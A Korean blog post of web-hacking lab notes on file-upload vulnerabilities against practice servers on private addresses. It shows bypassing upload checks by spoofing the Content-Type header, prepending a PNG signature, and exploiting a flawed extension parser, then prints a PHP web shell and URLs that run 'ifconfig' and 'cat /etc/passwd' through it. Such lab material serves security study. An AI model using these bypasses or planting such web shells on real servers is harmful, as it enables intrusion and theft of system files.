파일업로드 취약점,소스코드공개될때 가능한취약점
(참고) 모든 연습 사이트는 보면서 이런방법이있다고 알아만둬라 .언젠가 쓸일이있다
일단
프록시를 잡는다
192.168.0.10/upload1
파일을 선택한뒤
이런식으로 만든파일을
upload를해본다
이런식의 파일을 넣고 실행해본다.
webshell.php 업로드
이미지파일이 아니라서 이게안된다고할떄
content-Type: image/png로
바꾸면가능하다.
이미지 파일형식으로 버프수트로 변경하여
입력을한것이다.
---------------------------------------------
192.168.0.10/upload2/
png라고말해주는 헤더가있다.
19줄은 실제 데이터가아니고 21번부터가 실제 데이터이다.
본체가뭔지알려주는 시그니쳐 라고생각을하면된다
png파일의헤더를 복사한다.
PNG
위에이것이다.
이렇게되있는 php파일을 (php파일은 아까위에서 만든파일이다)
content-Type밑에
PNG
(png파일의 헤더를 넣어준다)
----------------------------------------
2번
웹쉘
사용자의 명령을 받아서 서버 명령 실행.
<?php
passthru(&_GET['cmd']);
?>
이러한 웹쉘을 만든다.
http://192.168.0.200/lab2/upload_check.source
192.168.0.200 의 소스
&Filename =webshell.php
explode = 문자열을 자르는 함수
"." => . 으로 분리
webshell 과 php 로 분리된다.
배열[] wepshell php
0 1
배열[0] = webshell
배열[1] = php
FileNameElements[] = webshell php jpg
0 1
FileNameElements[0] = webshell
FileNameElements[1] = php
FileNameElements[2] = php
FileExt = php
FileExt=FileNameElements[1]=jpg
-----------------------------------------------
FileExt=FileNameElements[-1]= php
----------------------------------------------
-1을 넣으면 제일 마지막에있는 결과값을 가져오기떄문에
원래는 jpg를 불러오는것이 php를 불러오게 한다
php파일을보고 알수있다 www.jpg.php 이러면 php로 실행이되는것을
파일 이름을 수정.,
변조 제외 폴더 추가.
안되면 여기서 제외추가
----------------------------------------------------------------------------------
----------------------------------
소스 파일을 볼수있다는 가정하에 진행이되는 것이다
이파일의 소스코드파일을본뒤에
Next
파일을 해쉬값으로 변환하고
38498A93F7C36F9FDBC5259CEA122A04
해쉬값을
무조건 소문자로변경
38498a93f7c36f9fdbc5259cea122a04
이소스 코드 파일을 본뒤에
이러한양식으로만든다
&FilePath = &DirectoryPath/md5(&FileName)_&FileName
&DirectoryPath = no name
md5(&FileName)=38498a93f7c36f9fdbc5259cea122a04
&FileName=mal.txt.php
&FilePath =noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php
소스코드의 dir은 no name 이니까
&FilePath =noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php이것을
조합하여
내가원하는 명령어를 뒤에입력한다.
noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=ifconfig
noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=cat /etc/passwd
http://192.168.0.200/lab2/noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=ifconfig
http://192.168.0.200/lab2/noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=cat /etc/passwd
이런식으로 웹의 내부를 볼수있다
'Web hacking' 카테고리의 다른 글
owasp 실습(WackoPicko) (0) | 2020.12.07 |
---|---|
owasp 실습 (peruggia) (0) | 2020.12.07 |
웹해킹 파일업로드 취약점 (0) | 2020.12.01 |
csrf(크로스사이트 요청위조),좀비 (0) | 2020.12.01 |
웹해킹시간 제로보드취약점 기존스크립트유지 (0) | 2020.12.01 |